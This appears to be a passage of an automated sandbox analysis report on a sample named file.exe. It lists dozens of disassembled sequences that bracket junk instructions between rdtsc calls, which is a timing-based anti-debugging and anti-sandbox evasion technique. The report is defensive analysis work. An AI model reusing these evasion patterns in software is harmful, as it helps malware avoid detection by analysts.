Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB298 second address: FAB2BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0826h 0x00000007 jmp 00007F6EC0DB081Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB2BF second address: FAB311 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6EC0DB065Ch 0x00000008 jns 00007F6EC0DB065Ch 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jns 00007F6EC0DB065Eh 0x00000017 js 00007F6EC0DB066Eh 0x0000001d jmp 00007F6EC0DB0666h 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 pop eax 0x00000029 push eax 0x0000002a pop eax 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB455 second address: FAB45D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB826 second address: FAB82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB82A second address: FAB834 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6EC0DB0816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB834 second address: FAB83B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB83B second address: FAB844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FABB1C second address: FABB52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jns 00007F6EC0DB0656h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F6EC0DB065Bh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FABB52 second address: FABB74 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F6EC0DB0821h 0x00000011 popad 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FABB74 second address: FABB7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F6EC0DB0656h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FABE55 second address: FABE59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC19A second address: FAC19E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC707 second address: FAC70D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAC70D second address: FAC728 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F6EC0DB0656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jbe 00007F6EC0DB0656h 0x00000013 je 00007F6EC0DB0656h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1E43 second address: FB1E49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1E49 second address: FB1E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1E4D second address: FB1E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1E53 second address: FB1E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6EC0DB0665h 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1E74 second address: FB1EBB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F6EC0DB081Ch 0x0000000c popad 0x0000000d jo 00007F6EC0DB0850h 0x00000013 pushad 0x00000014 jmp 00007F6EC0DB081Ah 0x00000019 pushad 0x0000001a popad 0x0000001b push edx 0x0000001c pop edx 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F6EC0DB0826h 0x00000025 jg 00007F6EC0DB0816h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1029 second address: FB102F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB102F second address: FB1035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB1878 second address: FB187C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB187C second address: FB188A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04C17 second address: F04C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F6EC0DB065Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF61B second address: FBF623 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF623 second address: FBF636 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F6EC0DB0656h 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF636 second address: FBF63A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF63A second address: FBF64A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F6EC0DB0656h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF64A second address: FBF64E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF64E second address: FBF683 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB065Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F6EC0DB0666h 0x0000000f jc 00007F6EC0DB0656h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF7CE second address: FBF7F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6EC0DB0822h 0x00000008 jmp 00007F6EC0DB0824h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF7F9 second address: FBF803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFB4C second address: FBFB6C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6EC0DB0816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F6EC0DB0826h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFB6C second address: FBFB78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F6EC0DB0656h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFB78 second address: FBFB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFB7C second address: FBFB82 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFCCF second address: FBFCD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F6EC0DB0816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFCD9 second address: FBFCDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFF62 second address: FBFF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBFF68 second address: FBFF6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC00C5 second address: FC00C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC00C9 second address: FC00D3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6EC0DB0656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC00D3 second address: FC00DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F6EC0DB0816h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC00DF second address: FC00E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC0535 second address: FC054E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB0824h 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC0CEE second address: FC0CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC0CF4 second address: FC0CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC0CF9 second address: FC0CFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF1DF second address: FBF1E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF1E3 second address: FBF1E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF1E7 second address: FBF20B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jns 00007F6EC0DB0828h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6C78 second address: FC6C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6C7C second address: FC6C80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3677 second address: FD367D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09D5B second address: F09D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09D62 second address: F09D68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09D68 second address: F09D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6EC0DB0816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09D72 second address: F09D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09D76 second address: F09D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jne 00007F6EC0DB0816h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09D8A second address: F09D92 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09D92 second address: F09DAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6EC0DB081Eh 0x00000009 jbe 00007F6EC0DB0816h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09DAA second address: F09DB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09DB4 second address: F09DC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB081Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD68B2 second address: FD68BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD68BA second address: FD68E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6EC0DB0816h 0x0000000a jne 00007F6EC0DB0816h 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jbe 00007F6EC0DB0816h 0x0000001b pushad 0x0000001c popad 0x0000001d jnc 00007F6EC0DB0816h 0x00000023 popad 0x00000024 push edi 0x00000025 jne 00007F6EC0DB0816h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD68E7 second address: FD68EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD68EC second address: FD68F1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9E75 second address: FD9E87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F6EC0DB0656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9E87 second address: FD9EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB0828h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE796C second address: FE7970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE7970 second address: FE7978 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF9E1 second address: FEF9E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE403 second address: FEE407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE407 second address: FEE40B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE40B second address: FEE416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEE649 second address: FEE675 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6EC0DB0663h 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6EC0DB065Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEA8A second address: FEEA90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEEA90 second address: FEEA96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEED19 second address: FEED1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF6FF second address: FEF705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FEF705 second address: FEF72E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F6EC0DB0831h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F6EC0DB0829h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001076 second address: 100107B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100107B second address: 1001083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1001083 second address: 10010A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB065Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F6EC0DB067Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007F6EC0DB0656h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10010A5 second address: 10010B4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6EC0DB0816h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013B61 second address: 1013B65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102AA8E second address: 102AAC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6EC0DB082Dh 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6EC0DB0823h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102AAC5 second address: 102AACA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029AC7 second address: 1029ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029ACD second address: 1029AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F6EC0DB0664h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029AEA second address: 1029AF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029D97 second address: 1029DA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007F6EC0DB0656h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F6EC0DB0656h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A373 second address: 102A379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A379 second address: 102A384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A7BE second address: 102A7DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6EC0DB0821h 0x00000009 popad 0x0000000a jmp 00007F6EC0DB081Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C216 second address: 102C21A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C21A second address: 102C220 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C220 second address: 102C233 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6EC0DB065Eh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C233 second address: 102C23B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EDA3 second address: 102EDAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F6EC0DB0656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EDAD second address: 102EDB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102F30B second address: 102F319 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F6EC0DB0656h 0x0000000e rdtsc
